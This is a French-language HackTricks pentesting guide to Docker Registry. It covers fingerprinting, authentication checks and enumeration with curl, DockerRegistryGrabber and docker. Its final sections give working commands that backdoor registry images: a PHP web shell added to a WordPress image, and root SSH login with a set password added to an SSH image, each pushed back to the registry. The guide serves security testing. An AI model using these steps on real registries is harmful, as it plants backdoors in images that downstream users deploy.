hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md

15 KiB

5000 - Pentesting Docker Registry

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informations de base

Un système de stockage et de distribution connu sous le nom de Docker registry est en place pour les images Docker qui sont nommées et peuvent exister en plusieurs versions, distinguées par des tags. Ces images sont organisées au sein de Docker repositories dans le registre, chaque dépôt stockant différentes versions d'une image spécifique. La fonctionnalité fournie permet de télécharger des images localement ou de les télécharger vers le registre, à condition que l'utilisateur dispose des autorisations nécessaires.

DockerHub sert de registre public par défaut pour Docker, mais les utilisateurs ont également la possibilité d'exploiter une version sur site de l'enregistrement/distribution Docker open-source ou d'opter pour le Docker Trusted Registry soutenu commercialement. De plus, divers autres registres publics peuvent être trouvés en ligne.

Pour télécharger une image depuis un registre sur site, la commande suivante est utilisée :

docker pull my-registry:9000/foo/bar:2.1

Cette commande récupère l'image foo/bar version 2.1 depuis le registre sur site au domaine my-registry sur le port 9000. En revanche, pour télécharger la même image depuis DockerHub, en particulier si 2.1 est la dernière version, la commande se simplifie à :

docker pull foo/bar

Port par défaut : 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Découverte

Le moyen le plus simple de découvrir ce service en cours d'exécution est de l'obtenir dans la sortie de nmap. Quoi qu'il en soit, notez que comme c'est un service basé sur HTTP, il peut être derrière des proxies HTTP et nmap ne le détectera pas.
Quelques empreintes :

  • Si vous accédez à /, rien n'est retourné dans la réponse
  • Si vous accédez à /v2/, alors {} est retourné
  • Si vous accédez à /v2/_catalog, vous pouvez obtenir :
  • {"repositories":["alpine","ubuntu"]}
  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Énumération

HTTP/HTTPS

Le registre Docker peut être configuré pour utiliser HTTP ou HTTPS. Donc, la première chose que vous devrez peut-être faire est de trouver lequel est configuré :

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Authentication

Docker registry peut également être configuré pour exiger authentication :

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

Si le Docker Registry nécessite une authentification, vous pouvez essayer de le brute forcer en utilisant ceci.
Si vous trouvez des identifiants valides, vous devrez les utiliser pour énumérer le registre, dans curl vous pouvez les utiliser comme ceci :

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumeration using DockerRegistryGrabber

DockerRegistryGrabber est un outil python pour énumérer / extraire le registre docker (sans ou avec une authentification de base)

usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

____   ____    ____
|  _ \ |  _ \  / ___|
| | | || |_) || |  _
| |_| ||  _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu

positional arguments:
url                URL

options:
-h, --help         show this help message and exit
-p port            port to use (default : 5000)

Authentication:
-U USERNAME        Username
-P PASSWORD        Password
-A header          Authorization bearer token

Actions:
--list
--dump_all
--dump DOCKERNAME  DockerName

Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumeration using curl

Une fois que vous avez obtenu l'accès au registre docker, voici quelques commandes que vous pouvez utiliser pour l'énumérer :

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

{% hint style="warning" %} Notez que lorsque vous téléchargez et décompressez les fichiers et dossiers blobs, ils apparaîtront dans le répertoire actuel. Si vous téléchargez tous les blobs et les décompressez dans le même dossier, ils écraseront les valeurs des blobs précédemment décompressés, donc soyez prudent. Il peut être intéressant de décompresser chaque blob dans un dossier différent pour inspecter le contenu exact de chaque blob. {% endhint %}

Énumération en utilisant docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Backdooring WordPress image

Dans le scénario où vous avez trouvé un Docker Registry sauvegardant une image wordpress, vous pouvez y insérer un backdoor.
Créez le backdoor :

{% code title="shell.php" %}

<?php echo shell_exec($_GET["cmd"]); ?>

{% endcode %}

Créez un Dockerfile :

{% code title="Dockerfile" %}

FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

{% endcode %}

Créez la nouvelle image, vérifiez qu'elle est créée, et poussez-la :

docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it

Backdooring SSH server image

Supposons que vous ayez trouvé un Docker Registry avec une image SSH et que vous souhaitiez y insérer une porte dérobée.
Téléchargez l'image et exécutez-la :

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Extraire le fichier sshd_config de l'image SSH :

docker cp 4c989242c714:/etc/ssh/sshd_config .

Et modifiez-le pour définir : PermitRootLogin yes

Créez un Dockerfile comme celui-ci :

{% tabs %} {% tab title="Dockerfile" %}

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

{% endtab %} {% endtabs %}

Créez la nouvelle image, vérifiez qu'elle a été créée, et poussez-la :

docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it

Références

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}